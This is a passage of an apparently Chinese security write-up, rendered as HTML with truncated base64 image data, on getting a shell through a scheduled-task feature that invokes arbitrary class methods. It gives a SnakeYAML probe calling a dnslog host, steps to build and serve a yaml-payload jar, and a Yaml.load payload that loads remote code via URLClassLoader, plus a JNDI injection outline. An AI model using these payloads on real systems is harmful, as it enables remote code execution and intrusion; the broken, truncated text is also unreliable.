z+ddSEW9j3xNB82K8Bush0jeOSGGcyI3Mz7jaf9di8JqakYbdlseWEbhzrP6+yiIg6m6Wg1QNcCLd5cL92CWtn31JN80Nhxfh/Tp/DglVOZFL6Z6s6Bj7fXgbf18zadNxQFDu/4itoFS7lkdh
<p blockindex=24><img src="data:image/png;base64,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
<p blockindex=25>由于反射时所需要的：类、方法、参数都是我们可控的，所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的，该类只需要满足如下几点要求即可：</p>
<ul blockindex=26>
<li>具有public类型的无参构造方法</li>
<li>自身具有public类型且可以执行命令的方法</li>
</ul>
<h2 blockindex=27>4.6.2</h2>
<p blockindex=28>因为目前对<strong>调用目标字符串</strong>限制不多，so直接拿网上公开的poc打吧！</p>
<ul blockindex=29>
<li>使用Yaml.load()来打SnakeYAML反序列化</li>
<li>JNDI注入</li>
</ul>
<h3 blockindex=30>SnakeYAML反序列化</h3>
<p blockindex=31>探测SnakeYAMLpoc：</p>
<pre blockindex=32><code class="hljs language-php"><span class=hljs-keyword>String</span> poc = <span class=hljs-string>"{!!java.net.URL [\"http://5dsff0.dnslog.cn/\"]: 1}"</span>;
</code></pre>
<p blockindex=33>利用SPI机制-基于ScriptEngineManager利用链来执行命令，直接使用这个师傅写好的脚本：<a href=https://github.com/artsploit/yaml-payload>https://github.com/artsploit/yaml-payload</a></p>
<p blockindex=34>1）把这块修改成要执行的命令</p>
<p blockindex=35><img src="data:image/png;base64,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
<p blockindex=36>2）把项目生成jar包</p>
<pre blockindex=37><code class="hljs language-php">javac src/artsploit/AwesomeScriptEngineFactory.java　　　　<span class=hljs-comment>//编译java文件</span>
jar -cvf yaml-payload.jar -C src/ .　　　　　　　　　　　　　<span class=hljs-comment>//打包成jar包</span>
</code></pre>
<p blockindex=38>3）在yaml-payload.jar根目录下起一个web服务</p>
<pre blockindex=39><code class="hljs language-php">python -m http.server <span class=hljs-number>9999</span>
</code></pre>
<p blockindex=40>4）在计划任务添加payload，执行</p>
<pre blockindex=41><code class="hljs language-php">org.yaml.snakeyaml.Yaml.load(<span class=hljs-string>'!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]'</span>)
</code></pre>
<p blockindex=42><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3RV9Z3//+fe55aTk5M7IQkhIUDCJSAKVAGrlFKEtpS2jFqcae3Y1v5mltOLnV8H17TL+Q1LZ2lnepn256/9ah2mViu1DrZIFcpQipaLFfHCNQm3REwC5H5ykpzb3r8/zgnkSgJGEsLrsWSZs/f+7PM5ZyeBdV77/f4YlceO24iIiIiIiIiIiIiIiIiIyFXP+Te/3DfScxCRD5g7NWukpyAiIiIiIiIiIiIiIiJXgDnSExARERERERERERERERERkeGhAFhEREREREREREREREREZIxQACwiIiIiIiIiIiIiIiIiMkYoABYRERERERERERERERERGSMUAIuIiIiIiIiIiIiIiIiIjBEKgEVERERERERERERERERExggFwCIiIiIiIiIiIiIiIiIiY4QCYBERERERERERERERERGRMUIBsIiIiIiIiIiIiIiIiIjIGKEAWERERERERERERERERERkjFAALCIiIiIiIiIiIiIiIiIyRigAFhEREREREREREREREREZIxQAi4iIiIiIiIiIiIiIiIiMEQqARURERERERERERERERETGCOdIT0BERERERERERERERERErh2ujgbOHdhNpOYQre+dJNR8DsIdmCb4/X6SssZjZBSSUnwd3inziCVnj/SUryoKgEVERERERERERERERETkA5fZUkFe41t0Vr1Fxa53yPDZRJuiGLaBbYPbZeBzhEjqOMeZ06c4u/+P+JI8FC9YijltCeG8WSP9Eq4KCoBFRERERERERERERERE5AMz3m5igX2IiSlnOdPZyjtOkyS3SVtnBK/XJByGaNRmcr6TmGUQCQHYmIaJjUH0dDmeuhOkT55N+rKvcKrFGumXNKopABYRERERERERERERERGRD8S42r3kvbuNagxOOxwYhk00GsPAxjbAABwOAxOT8ckuwnYaeZNycTpNdrxxhLZIFLcZor2jHevkWyyq2kRTaxYthQtH+qWNWuZIT0BERERERERERERERERExp6J725lct0fcbtNnE4bw4xiWTGwIRyDzk7o7LRxO0w+NiMFI+Jk3tRiCjLTyPOE+O/v3sVN0zOIRuqJWgE6QwF2/u9Wik7/idwTfxjplzdqKQAWERERERERERERERERkWGV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
<h3 blockindex=43>JNDI注入</h3>
<p blockindex=44>使用yakit起一个返连服务</p>
<p blockindex=45><img src="data:image/png;base64,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